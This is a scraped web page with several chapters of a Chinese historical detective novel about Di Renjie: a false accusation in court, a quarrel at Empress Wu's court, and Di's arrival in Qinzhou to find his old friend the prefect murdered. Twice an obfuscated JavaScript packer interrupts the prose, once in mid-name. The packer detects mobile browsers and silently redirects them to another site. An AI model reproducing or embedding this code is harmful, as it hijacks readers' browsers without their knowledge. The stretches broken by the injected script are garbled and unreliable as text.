“我是有精神病,”唐强笑道,“我有病,你们没病,就我有!” “你……你为什么告宇文寺卿啊?” “我好像记得,我刚刚有说为什么,为什么你还问我为什么,我怎么知道为什么……” “你说他害得你家破人亡?” “我还没有!”唐强大叫。 “不要叫!”府尹感觉自己精神也有点不正常了,怎么每次升堂来的都是些精神病?“你要告,你就拿出证据来,给本官看。” “证据?”唐强瞪眼道,“俺没证据!” “哪里来的刁民!”府尹不觉大怒了起来,指着他厉声骂道,“你是来戏弄本官的?!” “我就是来戏弄你的,我不想活了!”唐强疯也似的大叫,突然又哈哈大笑了起来,笑嘻嘻地跳起身,看了大家一眼,一转身就向外走,穿过人群,大摇大摆地离开了。 府尹、衙役们,还有围观群众,全都目瞪口呆。 唐强潇潇洒洒地走到了一个附近的巷子口,见一个长相猥琐的人正在探头探脑。那个人正是刑部尚书甄仑,一见他来了,便忙问:“何如?” “俺也不晓得嘞!”唐强笑道。 “可曾告发宇文狗?”甄仑问。 “告了,”唐强道,“没用。” “何也?” “没证据。” 甄仑叹了口气,突然看着唐强说:“汝再告。” 唐强道:“告了没用。” 甄仑道:“汝不告,欲何如?” 唐强道:“我想回家见妈妈。” 甄仑狞笑道:“汝若不告赢,吾送汝见阎王。” 唐强一听这话,登时绝望了,脸上露出苦笑,眼睛含着泪水。 甄仑笑道:“汝别无选择,或是告赢,或是惨死狱中。到时,吾送汝尸,见汝母。” 唐强突然萌生了一个念头。他看着面前这个矮小的甄仑,自己比他至少高半个头,也比他还略壮些,为什么现在自己倒要被他控制,被他指使?难道自己不能动手把他打晕,甚至是杀了他,然后逃走吗?唐强这么一想,脸上不由自主地露出了一种奇怪的笑,一种很可怕的笑。他这么笑着,看着甄仑,觉得自己肯定能打得过,甚至直接可以把他给杀了。他势在必得,已经 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“小人有冤情,求府尹大人做主!”唐强这次没那么疯狂了,一面说,一面磕头。 “你有何冤情?”府尹叹了口气,道。 “小的我,死了爸,死了妈,死了哥,死了弟,死了爷爷,死了奶奶,全家都死绝了,只剩下我一个了,他们都死得很惨,都死无全尸,死无……什么葬身之地,什么……死于非命,什么……反正都死了,而且死得很惨,然后……是被宇文豪杀的。” “你有什么证据?”府尹问。 “证据……我……没有。” “那你怎么说是宇文寺卿杀的呢?”府尹又问。 “我……”唐强突然感到一阵头晕,被这群人给折腾得快要累死了,“我随便乱说的嘛……” “好啊,”府尹怒道,“你个刁民,竟敢诬告朝廷命官,你现在该死了!左右的,给我加力地打!” 两旁衙役一齐叫声:“是!”便把唐强按住在地,一齐举起水火棍来,一棍接着一棍向他打去,把他打得叫苦连天,痛不可当,哭着求饶:“别打啦!哎呀!我命苦啊!” “敢诬告朝廷命官,不让你受点教训,你还不知道你姓甚名谁了!”府尹怒道。 “别打啦!”唐强哭叫道。 “说!是谁指使你来诬告宇文寺卿的?”府尹喝问。 “我不知道啊……”唐强快被乱棍打死了,声音都快没了。 “你不说是吧,那就是你自己想诬告。本官现在就把你就地处死!” “别打了,别打了……”唐强气都快没了,“我……我说……” “说!” “是……是甄仑……” “谁?” “刑部尚书……刑部尚书……” 这话一出,府尹又大吃了一惊。他早就想到了,这么个小老百姓,怎么敢随便告发朝廷命官,如今听他说出“刑部尚书甄仑”,他就相信完全有这种可能,因为甄仑跟宇文豪的明争暗斗,官场中谁人不知,他管拟自然也知道,所以他觉得这个唐强完全有可能就是甄仑派来的,为的就是要对付宇文豪。他这么一想通了,顿时就不敢害了那唐强的性命,不然就间接地得罪了那派唐强来的甄仑。如果这时候自己去奉承甄仑,配合他们的诬告,一齐对付宇文豪,那么同样是正三品的大理寺卿,自己就要得罪了。他管拟不肯得罪宇文豪,也不愿得罪甄仑,于是,他就既不配合甄仑他们的诬告,也不准备害死甄仑派来的人,唐强。他于是叫那些衙役别打了,放那个唐强离开,“你以后不许乱说话了,明白了吗?去吧!” 唐强被打得浑身是血,遍体鳞伤,这时候已经起不来了,只好轻轻地说了声:“多谢大人饶命……”便痛苦地挣扎着,拖着沉重的身体,一点一点,缓慢地爬了出去,地上留下一道鲜血的痕迹。那些围观群众见没热闹看了,便也都散去了。 唐强孤独地、痛苦地、绝望地、无奈地,在大街上慢慢地爬,不知道要去哪里。他想到了妈妈,想到了哥哥,想到了自己。他知道自己快死了,只是他不服啊,怎么会死得连条狗都不如呢?他含着眼泪苦笑,看到了街上那些路人,用各种各样的眼神看着自己,但没有一个人来扶自己一把,甚至还用很蔑视、很嫌弃、很恶心自己的眼神看着自己。他忍不住哭了。后来他慢慢地爬,爬到了巷子里,已经奄奄一息了。突然,甄仑站在了他的背后,冷冷地说道:“汝小儿,出卖吾耶?”唐强已经没有力气回应了。甄仑哼哼笑了笑,说道:“汝真乃‘无用之人’。”唐强听完这句话,自己的后背,突然感到一阵冰凉,接着眼前一片模糊,就什么都看不见了。他死了。 30. 第三十章 战和 “派往吐蕃国去的使者已经有了回书,”武皇坐在宝座之上,向众臣缓缓地讲述现今的局势,“说如今他被安排在馆驿之中,仍然没有得到答复,却每天被好酒好菜地管待。哼,战和利弊既已言明,国王此举,是想双方都不得罪。可能吗?突厥要打这场仗,他吐蕃模棱两可,既不助大周,也不进军,不帮突厥,却又不退兵,这是要做什么?哼,这是想置身事外,然后坐山观虎斗啊。据说,吐蕃国国王,跟突厥可汗有书信来往,并且有约在先,如果占领了大周的边境,那些州县他们两国都有份。估计提前都已经商量好了,要瓜分了朕的大周。虽然使者回信说,已经多次向国王言明利害,并且大周也不图他们每年的进贡,但纵使吐蕃国满朝大臣极尽附议,国王依然是优柔寡断、犹豫不决,又一直强调自己跟突厥可汗的盟约,同时又说不想参与这场战争。哼,他现在不给一个明确的答复,就已经是在与朕为敌了。” “如今,”武皇继续说道,“突厥国的内部也存在着权力斗争,兄弟两个分成了两派,一派主战,一派主和,各自明争暗斗,相互制约,而如今主站一派占据上风,也就引发了夷狄的贪婪之心,再次毁约,出兵进攻我大周。所以跟讲道理的人,可以讲道理,如果是不讲道理的,比如这位得陇望蜀的突厥可汗,那就没什么好说的了,朕也只有一个办法应对,打。这场仗,早已到了非打不可的地步了,没有任何必要再去跟野蛮之辈讲道德。朕就不信,倾举国之力,十万大军镇守边陲,难道大周的边境还会失守。可如今这个局势,当真是让朕大开眼界了。西北战区频频沦陷,王孝杰被打得连连败退,如今大周的最后一道防线,基本已经被敌国给占领了。西北城乃大周边境关口不远处的一个非常重要的城镇,里面原是大军囤积粮草的所在,也就相当于一个巨大的粮库。而军粮运送到前线以前,就是先送到那个去处,然后再供给前方。难道大周的关口才是前线吗?如果是那样的话,那么今天坐在这个位置上的,就不是朕了。” “所以问题是,”武皇继续说,“西北城的沦陷,这个消息,到底是不是真的。不是朕怀疑王孝杰,朕相信,这个人不会叛变。但如今朕已经收不到从他本人那里来的军情了,都是一些他的部下,向朕报道如今的战况。究竟发生了什么?如果这个消息是真的,那么敌人如今是不是已经攻到关口了?还是说,十万大军不得已,正在撤回国中,那么根据地也就彻底丢了?反扑的机会在哪里?战况瞬息万变,时间一直在流逝,而且只会越来越快。如果不能尽早挽回大局,那么结果就是国破家亡,从边境,一直到全国各个州县,再到神都,然后再到诸位大臣们面前,到朕的面前,这是一个什么样的场面哪。朕不敢想象,朕的子民一个个遭殃,被践踏在敌人的铁蹄之下,整个山河破碎,满目疮痍,这样的景象,朕不敢去想。但现在这个时刻要到来了,而朕却无能为力。满朝文武,都无能为力!”说到后来,武皇的语气加重了,原本平静的脸上现出了悲愤之色。 “陛下放心,臣等誓与大周共存亡!”众臣齐声道。 “朕已经不记得是多久了,”武皇叹了口气,道。“朕最后一次收到王孝杰本人传来的消息。他当时就跟朕说,大军里面有敌国的内奸,而且已经潜伏在了很高层,就在他王孝杰的身边。那个人究竟是谁,他当时还很难确定,因为他身边的亲信也有好几十人,而这些人都有机会接触到军情机密。所以后来他排除来排除去,只剩下包括副将在内的几个人了。他当时说,内奸估计有所察觉,所以有一段时间内没有再发生军情泄露的事了。但当时西北城就已经失守了,虽然大军仍然试图反扑,但每次有什么决定,敌人总是会提前得知我军的行动,所以早有准备。包括好几次的秘密进攻,都被敌人提前埋伏好了,于是我军损兵折将,根本无法出其不意去制敌。还有就是城池中什么地方兵力少,什么地方有漏洞,敌人总是提前知悉,打得大军措手不及。而我军打入敌人内部的暗探,却总是会被敌人给挖出来,甚至使用反间计,来传递给我军假消息。” “这不是,完全输了吗?”武皇又叹了口气,“至于敌人什么时候突然攻城,什么时候又安营扎寨,什么时候又突袭我军,王孝杰他们完全无法提前知道。而现在,已经三个多月过去了,王孝杰本人的消息,也没了。朕怎么知道,那被派回来的人,是不是军中那个内奸派来的。朕没有办法知道这些,因为朕在京城,离战区太远了,所以一切只能靠猜测。但是军情岂是可以猜测的,如果朕无法得知实际情况,那么朕也不敢妄下结论。所以如今王孝杰是死是活,朕也不去乱猜,反正大周的前景,照如今这么看来,实在是堪忧啊。朕什么都做不了,包括诸位,身在京城,鞭长莫及,纵然有心,也无力啊。” 众臣听了,都很难过,但也都没办法。 “还是朕说的,”武皇又道,“若无内忧,何惧外患。如今外来的侵略,要交给边境的战士们处理,我们确实也管不了太多。但国中的内忧,是可以有所作为的。比如说这军粮,怎么案子还是没破啊,到底怎么样了?” “陛下,”梁王武三思出班道,“只要赶紧把逆犯狄仁杰抓获了,自然一切都会真相大白。” “哼,”张柬之冷笑道,“梁王是破不了案子,所以想尽快找个替死鬼,来替你底下的人开脱吧?” 这话一出,大理寺卿宇文豪登时脸红了。 “张阁老,”武三思一脸不屑地道,“你也不必说这种风凉话,如果你有本事,也可以自己试着尽快去破案啊,为什么站在皇上面前,说这种讽刺人的话呢?” “毕竟,”张柬之冷冷道,“大理寺卿不是我的人哪。” “你什么意思?” “我没什么意思,难道宇文豪不是你梁王的属下吗?” “宇文豪是皇上的人,我们都是皇上的人!你说什么是我的属下,难道我像你们这样,在朝中发展自己的势力,哪一天好造反吗!” “梁王这是在血口喷人哪。”张柬之脸现怒色,“我们是谁?发展什么势力了?你说造反?是不是梁王经常想到‘造反’两个字,都已经习以为常了,所以这时候当着陛下的面,也忍不住脱口而出啊?” “你……!”武三思指着张柬之瞪眼道,“你血口喷人!” “是梁王先血口喷人!”张柬之喝道。 “张柬之!你就是要造反,你反来诬陷本王!你想怎么样!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051976|194817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “本阁诬陷你?”张柬之冷笑道,“你张口造反,闭口造反,到底是谁要造反?” “我……我……” “怎么,梁王没话说了?”张柬之冷笑道。 “我……我不跟你争。” “哼,”张柬之冷冷道,“是啊,有什么好争的,各人想干什么,自己心里都清楚。” “你这是诬陷!”武三思又大声叫道,“你张柬之跟狄仁杰是一伙的,你们说的话都是互相包庇,狼狈为奸!你们的话不算数!” “那么梁王能拿出什么证据来吗?”张柬之厉声问。 “证据多到你数不过来!”武三思大叫。 “那你何必乱喊乱叫,显得你底气不足。” “我没有!”武三思大声叫道。 “好啦,”武皇道,“别再争啦。” “陛下,”武三思急躁地叫道,“都是他狄仁杰一个人干的。现在张阁老还在为这个逆犯说话,这简直就是包庇!狄仁杰的罪板上钉钉、铁证如山,证人已经多到数不过来了,但他还是没有被抓到,还在逍遥法外,还在全国各地作孽。陛下!……” “好啦,”武皇道,“朕心里有数,你就别再说啦。” 武三思叹了口气,只好罢了。 “陛下,”刑部尚书甄仑出班道,“微臣听说,前日京兆府有人告状。” “发生了什么?”武皇问。 “有一小民唐强者,告发大理寺卿宇文豪……” “姓甄的!”宇文豪大怒,出班骂道,“我还想问问你呢,转交给你们刑部的犯人,怎么会擅自出了刑部大牢,来到大街上,敲什么鸣冤鼓呢?” “何曾转交与我!”甄仑叫道。 “你给我住口!”宇文豪指着喝道,“你这是在欺君你知道吗,那个唐强明明就是进了彭府作案现场的犯人,我们大理寺交给你们刑部,是让你们参与审理,好最后三司会审的。怎么人一到了你那儿,就跑到大街上来了呢?啊?你是不是故意放走人犯哪?啊?” “汝……血口喷人!”甄仑指着大叫。“吾何尝放耶!” “你说你没放?!那你刚才说啥呀?‘何曾转交与我’,既然都没有转交给你,你放谁呀你?你放谁呀你说!你没有收到人,怎么放啊?你放谁!你明明收到了,还说没收到,这不是欺君!那你还放了人,岂不是更过分!你到底收没收到,放没放人,你说,你说!” “吾……吾乃汝父!”甄仑恼羞成怒了,大叫道。 “你就知道骂人!你跟皇上解释解释!” “吾杀汝!”甄仑朝宇文豪直接扑了过去,当场打成一团。 武皇忍不住想笑,也不去阻止女官在旁边厉声喝道:“你们太放肆了!当着陛下的面,又要打架!快给我住手!”二人方住手。 “好啦,”武皇道,“众位爱卿,也累了,朕给你们放几天假,明天开始也不用上朝了。到时候都歇够了,再来吧。啊?” “陛下!臣等有错呀!”众臣齐声叫道。 “好了,都散了吧。”武皇疲惫地说道。 “退朝!”女官最后大叫了一声,为自己美好的收场感到颇为得意。 31. 第三十一章 伤逝 因为桅杆从中间裂成了两半,狄仁杰、韩忠义二人跟胡乐、狄宁、鹃儿、马肃四人,各自朝着不同的方向漂去,在茫茫寻阳江上,一齐消失在了夜色之中。 现在只说狄仁杰、韩忠义二人怎么样了。 他们二人扶着一小半桅杆,随着江水漫无目的地漂流了一整夜。 渴时,他们就喝一口江水,但感到累了,却不敢合上眼,以免手一松,掉到江里,就再也醒不来了。 他们这时候累得眼睛都快要睁不开了,却拼了命也要撑着,要紧紧地抱住桅杆,不能放手。他们是有希望的,因为“江”毕竟没有“海”那么大,是更容易漂到岸上的。 可他们现在已经漂了一整个晚上,却还是没有见到岸。 他们真的快不行了,不是饿,也不是渴,是累,累得不得了,累得要死了。 他们好想休息,但是不敢合眼,虽然眼睛已经快闭上了,但是不能闭。 不能闭眼,不能睡着,不然就要淹死了。 天已经亮了。 江面上却是灰沉沉,雾蒙蒙,看不清景象。 疲劳,催着二人的眼皮,快快闭上,快快睡着。 他们二人,仍在忍着。 不能睡啊,不能闭眼啊,虽然他们好累啊。 他们不知道还要坚持多久,因为四周都笼罩着浓浓的雾霭,这天早上没有阳光,江面上很灰暗,他们看不到尽头,不知道何处是岸,何处是了。 他们就在平静的江面上,漂泊,流浪。 他们不知道,自己从哪里来,又要往哪里去。 他们在一个看不到边界、望不见尽头的地方,漂来漂去。 狄仁杰瞬间打了个盹。 就这一瞬间,那种舒适感,那种平静,那种安宁,真的是难以言说的。 韩忠义大吃一惊,连忙将狄仁杰叫醒。 “大人,不能睡啊!” 狄仁杰瞬间醒了。 就那打盹的刹那间,好像已经过去了一年。 “忠义啊,还好你叫我。” “大人,再坚持一会儿。” 二人这下都清醒了,但是疲惫感还在。 感觉那个桅杆,漂得特别慢,特别地缓慢,好像根本就没有在动,而是在原地打转,一直在打转,转着圈,转着圈,永远都待在原地。 ...... 就在这时候,从浓雾弥漫的远方,不知哪个方向,隐隐约约地,断断续续地,若有若无地,传来了悠悠扬扬的吹箫声,声音回荡在江面上,辽阔又舒缓,融入了江水流动的细微声响外、那空旷又静谧的空气中,跟蒙蒙的雾霭、黯淡的浮云连成了一片,朦朦胧胧,依稀可闻,瞬间便令人忘却了一切的愁烦,仿佛徜徉于梦境跟现实之间,模糊又清晰,渐渐地,忘掉了它们之间的界限,在一片虚无之中徘徊、存在,没有了明确的意识,也没有了直观的感受,只有吹箫的声音,和江水还在流。 一叶扁舟,穿云渡水而来,箫声渐止,流水潺潺,一阵晨风习习吹来,凉爽又清新,水云之间,不知人在何方,身在何处,但觉空廓寂寥,辽远无垠。 小舟上,是一个须发花白的老者。 他将小舟泊近,将狄仁杰、韩忠义二人拉了上来。 二人此刻再也忍不住了,轻轻合上了眼,便酣然入梦了…… 再度睁开眼时,只见四周笼罩着烟雾,隐隐地环绕着青山,小舟在缓缓地移动,绿水泛起了涟漪,沿着江边的两岸,有许多大大小小的村庄,一排排鳞次栉比的房屋,参差错落的农舍,绿影婆娑的树木,连成一片的水田,还有江岸浣纱的妇女,骑着黄牛的牧童,种田的老农,嬉笑的孺子,一派乡野风光,远离尘嚣,让人心旷神怡。 那老者笑道:“醒啦。” 狄仁杰二人忙道了谢,立时便恢复了些精神。 老者道:“你们怎么会抱着那根儿烂木头,在水上漂呢?” 狄仁杰二人叹道:“一言难尽啊。” 狄仁杰笑问道:“恩人,你高姓啊?” 老者笑道:“老夫姓祝,是这儿的船夫。” 狄仁杰二人又谢了他的救命之恩。 祝老笑道:“不过是举手之劳,何足言谢。” 狄仁杰道:“这是什么去处啊?” 祝老道:“这儿啊,不远处就是秦州地界喽。” 狄仁杰、韩忠义二人互看了一眼,又问道:“到秦州啦?” 祝老道:“是啊,不到几里路就到喽。” 韩忠义喜道:“真是皇天不负有心人哪!” 狄仁杰笑道:“没想到我们随着江水漂了一个晚上,竟然漂到了秦州来了。” 一时,江面上浓雾渐散。小舟靠近了码头,拢了岸。 三人都上了岸以后,狄仁杰在身上掏了半日,想给祝老些钱,却已经没有碎银子了。 祝老不但没有问他们要,反倒还取出了些许来给他们二人。 狄仁杰哪里肯收,祝老却强塞给他,他方才收下。 祝老道:“我虽然不知道你们都经历了些什么,可是我看你们俩怪可怜见儿的。我就住在岸边儿,到时候需要什么帮忙,可以随时来找我。” 狄仁杰二人忙向他道谢,看他自己去了。 韩忠义叹道:“这世上还是有好人的。” 二人遂行了半日,在路旁的一个茶棚子里要了碗茶喝,歇了歇,付了帐,又继续行路,朝秦州城的方向行去。 狄仁杰道:“胡乐他们,应该不会太快到来。” 韩忠义叹了口气,道:“是啊,不知他们四人现在怎么样了。” 二人又行了几里路,方到了城门口。 只见有少许进城之人,却并无官兵把守,亦无通缉告示。 韩忠义道:“大人,这可奇怪了,居然会没有通缉令?” 狄仁杰微微一笑,道:“是有人在帮助我们。” 韩忠义问是谁。 狄仁杰道:“我现在告诉你实话吧:秦州刺史远靖,与我是旧交。我们年轻时候就认识了,后来各奔东西,也就没有再见面了。如今已经过去几十年,听说他在秦州这里当官,做的还不错,也因为各忙各的,没有机会来看望他。所以这次,去边关的路上,我想顺路来看看他,不知道他最近怎么样了。忠义啊,你这下也明白了吧,这就是我此次执意要来秦州的原因,不为别的,就为了来看看他。” 韩忠义之前听狄仁杰说一定要走秦州的路,还不明白是为什么缘故,因为秦州并不是通往边关的捷径,反倒要绕远路。他虽然不理解,但也没敢多问,因为狄仁杰做任何事总有他的用意。这下听狄仁杰这么一说,才知道,原来他跟秦州刺史认识,这么一来,见老朋友倒还次要,最主要是可以避开通缉令。 韩忠义知道,狄仁杰肯定早料到了,这里不会出现通缉令,而且他的老朋友果真会这么做,狄仁杰估计也都料到了,因此绕远路,反倒变成了走捷径,因为不用担心在秦州境内会被通缉了。韩忠义这么一想,不由得感叹狄仁杰“料事如神”,连走什么路线都是有考虑的,而且同时还能跟老朋友见上一面,可谓是“一举两得”。 韩忠义听了狄仁杰的话,“哦”的一声点头,笑道:“原来大人与刺史相识啊,那就好办了。” 二人于是款步进了城。 可才刚一进城,二人就瞬间感到不对劲了。这种不对劲的感觉,简直是可怕的,吓人的,甚至是让人不知所措的,就像此时此刻的二人,竟然原地就呆住了,懵掉了,瞠目结舌了起来,不知道到底发生了什么事。虽然在城外,二人就已经隐隐地感到有点什么不对劲的地方了,但那时候还没有想到,城中竟然会是差不多同样的情景,跟城外一模一样,别无二致。 城外本来人就已经很少了,但二人那时候还并不曾太注意,因为毕竟是在城外,还没有进城呢,城里说不定会热闹许多呢。但这时候一进城,见到了这么个景象,突然二人就大惊了起来,因为那种可怕的感觉简直是扑面而来的,那是比人山人海还要恐怖的场景,那就是根本没人,没有一个人,这仿佛就是一座空城! 只见偌大个城,街道上竟是空落落一片,行人虽然也有,却是寥寥无几,最多也只有一两个,还都是半死不活的样子。 狄仁杰二人甚至怀疑,自己是不是已经来到边关了?怎么这场景这么像边塞那里因为战争的缘故而荒凉的城池呢?是不是城中的居民都已经逃难离开了呢?是不是街市已经被敌人洗劫一空了呢?是不是整个城市都已经被抛弃了呢?不然为什么会是这样的场景? 更可怕的是,狄仁杰二人突然注意到,城中所有人家的大门上,竟然都贴着白纸。有的还不止大门,连窗户、墙壁上都有贴,还挂着白球。 狄仁杰、韩忠义二人一见,早已猜着了七八分。 城中肯定死人了。 而且死的还不是一般的人,是个很重要的人。 这时候有个半死不活的老人走了过来,狄仁杰二人连忙问他是怎么回事,他答说:“你们还不知嘞,远刺史前两日就逝世了。” 狄仁杰呆了呆,问道:“远刺史……他死了?” 那老人慢吞吞道:“是啊,听说是因为得了暴病。全城百姓都念他是个好官儿,所以有许多自愿闭门闭户的,也就都不上街了。” 狄仁杰看着那老人步履蹒跚地走掉了,留下一片空荡荡的石板街,上面铺着几片枯干的落叶,被秋风吹得唦唦作响,在石板路上轻轻地移动。 狄仁杰不觉潸然泪下,双腿一软,几欲跌倒。 韩忠义忙将他扶住,安慰他道:“大人,你不要太难过。” 狄仁杰强忍着心中的无限伤痛,说:“走,我们去刺史府看看。” 二人行了半日,听那嚎啕之声离得愈来愈近,就知道前面便是刺史府了。大街上仍是空无一人,所有人家的门窗都是紧闭的,贴着白纸。一直到了一个府邸的大门前,那哭喊声更是震天动地一般,响彻云霄。 只见从里到外均是前来吊唁的官员乡绅、亲戚朋友,还有一些百姓。 没有人出来迎接,倒是又来了许多人,直接从大门口走了进去,狄仁杰二人便也自行跟着诸人一齐进了府。只见前院石子甬路,很长,直通前厅,四周处处都挂满了白球,门窗上、墙壁上都糊着白纸,宾客们许多都身穿白服,整个院落内一望无际都是白。 直至前厅,迎面便是远刺史的牌位。旁边有非常多的人,有的掩面抽泣,有的痛哭流涕,有的捶胸顿足,有的乱喊乱叫,喧嚷之声回荡耳际。 狄仁杰却只默不作声,呆呆地看着那个灵位,不觉眼眶又湿了。 一时,诸人慰问毕,管家仆人送了出去,大院里复归静寂。 狄仁杰二人却没有走。 这时,一个看上去四五十岁左右的妇人走了过来。 只见她面色苍白,仪容秀丽,一身缟素,脸上泪渍未干,静静地打量了一番狄仁杰,又看了一眼韩忠义,向他们二人道:“二位,请随我来。” 狄仁杰、韩忠义二人互看了一眼,便随着那妇人穿过后廊,来至一间私室。 她将门关上,一回头,才说了声:“你……” 狄仁杰便点头道:“是我,狄仁杰。” 韩忠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051977|194817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 义一惊,不料狄仁杰竟将身份说出。 那妇人一副难以置信的神情,轻轻地摇了摇头,又微微一笑,颤抖着说:“你……你真的是仁杰?哦不……如今……当叫你……” 狄仁杰苦笑着叹道:“如今,我不过是一个处处被通缉的罪犯而已。”又向她道:“秦夫人,节哀顺变。” 韩忠义因问:“这位莫不是远刺史的夫人?” 秦夫人与二人道了万福,说道:“夫君亡故,多蒙二位前来吊丧。” 她又望着韩忠义微笑道:“这位想必便是韩将军了,久仰大名。” 韩忠义忙还礼道:“不敢。” 秦夫人又望着狄仁杰叹道:“我们都老了。” 狄仁杰呆了呆,道:“秦夫人风韵犹存,与当年丝毫未变。” 秦夫人脸上微微一红,微笑道:“你还是那么会说话。” 她忽又流下了泪来,哽咽道:“夫君生前一直念叨着,要与你相见,不料你们今日到来了,他却已经……不在了……”说着,用帕子拭泪,一面又请狄仁杰二人坐。 秦夫人在他们对面坐下了,说道:“狄先生,夫君一直就相信你的为人,因此无论如何也不愿张贴针对你的通缉告示。” 狄仁杰点头叹道:“远刺史之恩,我无以为报。” 狄仁杰心中明知,远刺史不愿张贴通缉令之举,背后定已遭受了朝廷的问罪,却为了跟自己多年的友情,而依然选择这么做,不由得心里更为感激,也更加难过。 狄仁杰于是问道:“秦夫人,远刺史之离世,究竟是怎么一回事?” 秦夫人道:“狄先生,想必你已略有耳闻。” 狄仁杰“嗯”了一声,道:“据说是因暴病?” 秦夫人道:“那先生以为如何?” 狄仁杰半晌道:“该是……别有隐情?” 秦夫人叹了口气,道:“夫君他,实则并非因暴病身亡。他……他应该是被人给杀害的。” 狄仁杰二人听了这话,吃了一惊,忙问:“这是怎么说?” 秦夫人道:“前者不过是我与夫君的官吏亲信们商议过后,散布出去的一个假消息。我们均知,夫君他是被人杀害的。” 狄仁杰问她前后原委。 秦夫人遂慢条斯理款款道来。 原来在不久以前,远刺史突然就消失了,连夜未归。 忽然一日清晨,一个捕头前来报案,说他偶经郊外,在驿站中,发现了远刺史的尸体。远刺史何以出现于斯,诸人均不知晓。现场还有许多死者,都是驿站中管事的,一个活口也无。 据仵作验尸,皆是因刀伤毙命,且行凶者手法干脆利落,刀刀击中死者要害,每位死者的容貌皆被划得面目全非,远刺史亦然。幸凭服装衣着、身材特征等因素辨认了出来。 报案距案发已有两日,血迹早已干透,现场检查又无任何线索痕迹。 当时发现这件事的,包括捕头与自己在内,还有衙役官吏等人,至多十来个。一起商议过后,决定要封锁消息,以免动乱,暗中先查明凶手为要紧。遂将其余死者掩埋了,也尚未报知他们家人。远刺史如今也已埋葬。 后来因为实在是瞒不住了,只好说远刺史是得了暴病而死。然实际情况,除知情者以外,是万万不可再泄露与他人知晓的,以免情况更加复杂。几人遂都发誓保密。情况大致如是。 秦夫人言毕,眼望窗外,神情恍惚。 狄仁杰一言不发地听完了,问秦夫人道:“那么远刺史被杀,秦夫人对此可有眉目?譬如,是何人所为,亦或动机为何?” 秦夫人缓缓摇头道:“夫君平日并无甚仇人……” 她忽然道:“对了,是那封信!” 狄仁杰、韩忠义二人互望一眼,忙问:“什么信?” 秦夫人点头道:“应该就是因为那封信。” 她忙转向狄仁杰道:“是从夫君的遗体上搜到之物,他将之揣在怀内的……”说着走到案前取出了一封信笺,忙递给狄仁杰他们看。 狄仁杰接了,见了封皮,问道:“有谁拆开看过?” 秦夫人道:“我想也许与夫君之死有关,便拆开来与他们一起看了……” 狄仁杰一面取出里面的纸张,一看,竟然是空白的。 他望着秦夫人问道:“没有内容?” 秦夫人道:“我也奇怪呢,连封面竟也无字。后来他们将信还给了我,我便收起来了。因为没内容,就给忘了。现在想来,或许有什么含义?可能是被我们给忽略了呢。” 狄仁杰仔细地瞧了瞧,确是一张白纸,只是略有些皱褶而已,并无甚特别之处。 秦夫人又道:“这是夫君身上搜到的唯一一样线索了,狄先生,未亡人就将其交与你了。恳请你看在这多年的情分上……”说着,泣不成声。 狄仁杰站了起身,向秦夫人道:“狄某若不尽力,枉自为人,还请夫人放心。” 韩忠义道:“秦夫人,狄公便是于己无干之事,尚不会袖手旁观,更何况远刺史这等好人,又岂有不尽力之理?我们定会找到真凶,替远刺史报仇雪恨的。” 秦夫人望着二人微笑点头。 狄仁杰看着窗外道:“天色已晚,秦夫人,狄某就此告辞。” 秦夫人挽留道:“无妨的……” 狄仁杰望了她一眼,说道:“狄某还是避嫌的好。” 秦夫人呆了半晌,道:“离此间几里路,有个小宅院,是夫君生前休闲去读书的地方。如今那去处无人,你们今夜可去那里暂歇一宿,意下如何?” 狄仁杰道:“如此甚好。” 32. 第三十二章 奇冤 傍晚时分,天色已暗,刺史府上下早已点上了黯淡的灯火,在一片白纸白球的掩映下,更显得昏沉又凄凉,甚至有点恐怖吓人。 在一片寂静中,秦夫人引着狄仁杰、韩忠义二人悄悄地从府邸的后门走了出来,穿过了几条空荡荡、黑沉沉的街道,拐了几个弯,转入小道,在拐角处一左转,便是小宅院所在的内街了。右边是一堵粉壁高墙,四周没有太多民宅,倒有一些荒废的院落和许久没有人住的空房,因此人烟稀少,相对偏僻,虽然可以安静地读书,但却有点瘆人,让人觉得毛骨悚然,不安全。右边的高墙靠里边有个拐角,是个直通北大街的内巷。 秦夫人领着狄仁杰二人来到了那个小宅院的外面,只见大门上有个黑瓦屋檐,两旁是不高也不矮的白色围墙,看着还挺新的,白漆都没有脱落。秦夫人用一把钥匙开了门锁,请二人进去。 只见前院不大,栽种着几棵梧桐树还有枫树,叶子已经有点泛黄了,随着秋夜的冷风簌簌摇曳,好像冻得发抖一般,晃来晃去,在一片昏暗中,黑影参差。沿着前院的小径直直走过去,便是小宅院唯一的一间里屋了,推开了门,秦夫人先进去点亮了油灯,狄仁杰二人方才跟了进来。 只见里屋中等大小的空间,收拾得非常整洁干净,四周几个书架上摆满了书籍,桌案上微微有点积灰。书房便是正房,同时也是卧室,靠墙有张小床,枕头被褥都很齐全。靠里边的大书架前摆着一张楠木桌案,配一张有坐垫的旧木头椅子,案上笔墨纸砚,都摆在桌角。旁边后窗下有个小茶几,上面有个褐漆茶盘,摆着一个青瓷茶壶和一两个小茶杯,其中一个里面还有水渍。 秦夫人的手上提着一个包裹,这时摊开来看,里面装着十几块面饼。 秦夫人道:“仓促间只带来了一点干粮,实在不好意思。” 狄仁杰微笑道:“费心了。”与韩忠义一同向她作揖。 秦夫人还了万福,含泪道:“虽然没有张贴通缉令了,你们也还是要小心。” 